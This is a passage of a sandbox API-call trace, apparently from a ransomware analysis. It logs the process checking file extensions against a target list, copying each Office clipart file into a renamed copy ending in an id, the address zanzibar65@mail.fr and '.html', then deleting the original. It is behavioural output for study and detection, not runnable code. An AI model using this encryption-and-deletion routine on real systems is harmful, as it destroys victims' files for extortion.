[0272.674] lstrlenW (lpString=".xls") returned 4 [0272.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.674] lstrlenW (lpString=".xlsx") returned 5 [0272.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.674] lstrlenW (lpString=".ppt") returned 4 [0272.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.674] lstrlenW (lpString=".zip") returned 4 [0272.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.674] lstrlenW (lpString=".rar") returned 4 [0272.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.674] lstrlenW (lpString=".bz2") returned 4 [0272.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.674] lstrlenW (lpString=".7z") returned 3 [0272.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.674] lstrlenW (lpString=".dbf") returned 4 [0272.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.674] lstrlenW (lpString=".1cd") returned 4 [0272.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0272.674] lstrlenW (lpString=".jpg") returned 4 [0272.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.674] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.674] lstrlenW (lpString="FD00296_.WMF") returned 12 [0272.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.675] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=15856) returned 1 [0272.675] CloseHandle (hObject=0x37c) returned 1 [0272.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x20 [0272.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.675] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.675] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.675] GetLastError () returned 0x0 [0272.675] ReadFile (in: hFile=0x37c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x3df0, lpOverlapped=0x0) returned 1 [0272.817] WriteFile (in: hFile=0x30c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x3e00, lpOverlapped=0x0) returned 1 [0272.818] ReadFile (in: hFile=0x37c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.818] WriteFile (in: hFile=0x30c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.818] SetEndOfFile (hFile=0x30c) returned 1 [0272.818] CloseHandle (hObject=0x30c) returned 1 [0272.818] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.818] SetEndOfFile (hFile=0x37c) returned 1 [0273.071] CloseHandle (hObject=0x37c) returned 1 [0273.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0273.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.142] lstrlenW (lpString=".doc") returned 4 [0273.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.142] lstrlenW (lpString=".docx") returned 5 [0273.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.142] lstrlenW (lpString=".pdf") returned 4 [0273.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.142] lstrlenW (lpString=".xls") returned 4 [0273.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.142] lstrlenW (lpString=".xlsx") returned 5 [0273.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.142] lstrlenW (lpString=".ppt") returned 4 [0273.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.142] lstrlenW (lpString=".zip") returned 4 [0273.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.142] lstrlenW (lpString=".rar") returned 4 [0273.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.142] lstrlenW (lpString=".bz2") returned 4 [0273.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.142] lstrlenW (lpString=".7z") returned 3 [0273.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.143] lstrlenW (lpString=".dbf") returned 4 [0273.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.143] lstrlenW (lpString=".1cd") returned 4 [0273.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.143] lstrlenW (lpString=".jpg") returned 4 [0273.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.143] lstrlenW (lpString=".doc") returned 4 [0273.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.143] lstrlenW (lpString=".docx") returned 5 [0273.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.143] lstrlenW (lpString=".pdf") returned 4 [0273.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.143] lstrlenW (lpString=".xls") returned 4 [0273.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.143] lstrlenW (lpString=".xlsx") returned 5 [0273.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.143] lstrlenW (lpString=".ppt") returned 4 [0273.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.143] lstrlenW (lpString=".zip") returned 4 [0273.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.143] lstrlenW (lpString=".rar") returned 4 [0273.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.143] lstrlenW (lpString=".bz2") returned 4 [0273.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.143] lstrlenW (lpString=".7z") returned 3 [0273.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.144] lstrlenW (lpString=".dbf") returned 4 [0273.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.144] lstrlenW (lpString=".1cd") returned 4 [0273.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0273.144] lstrlenW (lpString=".jpg") returned 4 [0273.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.144] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.144] lstrlenW (lpString="FD00419_.WMF") returned 12 [0273.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.151] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=16396) returned 1 [0273.151] CloseHandle (hObject=0x38c) returned 1 [0273.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0273.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.151] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.151] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.152] GetLastError () returned 0x0 [0273.152] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x400c, lpOverlapped=0x0) returned 1 [0273.154] WriteFile (in: hFile=0x380, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x4010, lpOverlapped=0x0) returned 1 [0273.155] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.155] WriteFile (in: hFile=0x380, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.155] SetEndOfFile (hFile=0x380) returned 1 [0273.155] CloseHandle (hObject=0x380) returned 1 [0273.155] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.155] SetEndOfFile (hFile=0x38c) returned 1 [0273.158] CloseHandle (hObject=0x38c) returned 1 [0273.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0273.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.159] lstrlenW (lpString=".doc") returned 4 [0273.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.159] lstrlenW (lpString=".docx") returned 5 [0273.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.159] lstrlenW (lpString=".pdf") returned 4 [0273.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.159] lstrlenW (lpString=".xls") returned 4 [0273.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.159] lstrlenW (lpString=".xlsx") returned 5 [0273.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.159] lstrlenW (lpString=".ppt") returned 4 [0273.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.159] lstrlenW (lpString=".zip") returned 4 [0273.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.159] lstrlenW (lpString=".rar") returned 4 [0273.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.159] lstrlenW (lpString=".bz2") returned 4 [0273.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.159] lstrlenW (lpString=".7z") returned 3 [0273.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.159] lstrlenW (lpString=".dbf") returned 4 [0273.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.159] lstrlenW (lpString=".1cd") returned 4 [0273.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.159] lstrlenW (lpString=".jpg") returned 4 [0273.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.160] lstrlenW (lpString=".doc") returned 4 [0273.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.160] lstrlenW (lpString=".docx") returned 5 [0273.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.160] lstrlenW (lpString=".pdf") returned 4 [0273.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.160] lstrlenW (lpString=".xls") returned 4 [0273.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.160] lstrlenW (lpString=".xlsx") returned 5 [0273.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.160] lstrlenW (lpString=".ppt") returned 4 [0273.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.160] lstrlenW (lpString=".zip") returned 4 [0273.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.160] lstrlenW (lpString=".rar") returned 4 [0273.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.160] lstrlenW (lpString=".bz2") returned 4 [0273.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.160] lstrlenW (lpString=".7z") returned 3 [0273.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.160] lstrlenW (lpString=".dbf") returned 4 [0273.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.160] lstrlenW (lpString=".1cd") returned 4 [0273.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0273.161] lstrlenW (lpString=".jpg") returned 4 [0273.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.161] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.161] lstrlenW (lpString="FD00428_.WMF") returned 12 [0273.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.161] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=4796) returned 1 [0273.161] CloseHandle (hObject=0x38c) returned 1 [0273.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0273.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.161] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.162] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.162] GetLastError () returned 0x0 [0273.162] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x12bc, lpOverlapped=0x0) returned 1 [0273.164] WriteFile (in: hFile=0x380, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0273.165] ReadFile (in: hFile=0x38c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0273.165] WriteFile (in: hFile=0x380, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.165] SetEndOfFile (hFile=0x380) returned 1 [0273.165] CloseHandle (hObject=0x380) returned 1 [0273.165] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0273.165] SetEndOfFile (hFile=0x38c) returned 1 [0273.167] CloseHandle (hObject=0x38c) returned 1 [0273.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0273.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.167] lstrlenW (lpString=".doc") returned 4 [0273.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString=".docx") returned 5 [0273.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.168] lstrlenW (lpString=".pdf") returned 4 [0273.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString=".xls") returned 4 [0273.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.168] lstrlenW (lpString=".xlsx") returned 5 [0273.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.168] lstrlenW (lpString=".ppt") returned 4 [0273.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.168] lstrlenW (lpString=".zip") returned 4 [0273.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.168] lstrlenW (lpString=".rar") returned 4 [0273.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString=".bz2") returned 4 [0273.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString=".7z") returned 3 [0273.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.168] lstrlenW (lpString=".dbf") returned 4 [0273.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.168] lstrlenW (lpString=".1cd") returned 4 [0273.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.168] lstrlenW (lpString=".jpg") returned 4 [0273.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.169] lstrlenW (lpString=".doc") returned 4 [0273.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString=".docx") returned 5 [0273.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.169] lstrlenW (lpString=".pdf") returned 4 [0273.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString=".xls") returned 4 [0273.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.169] lstrlenW (lpString=".xlsx") returned 5 [0273.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.169] lstrlenW (lpString=".ppt") returned 4 [0273.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0273.169] lstrlenW (lpString=".zip") returned 4 [0273.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.169] lstrlenW (lpString=".rar") returned 4 [0273.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 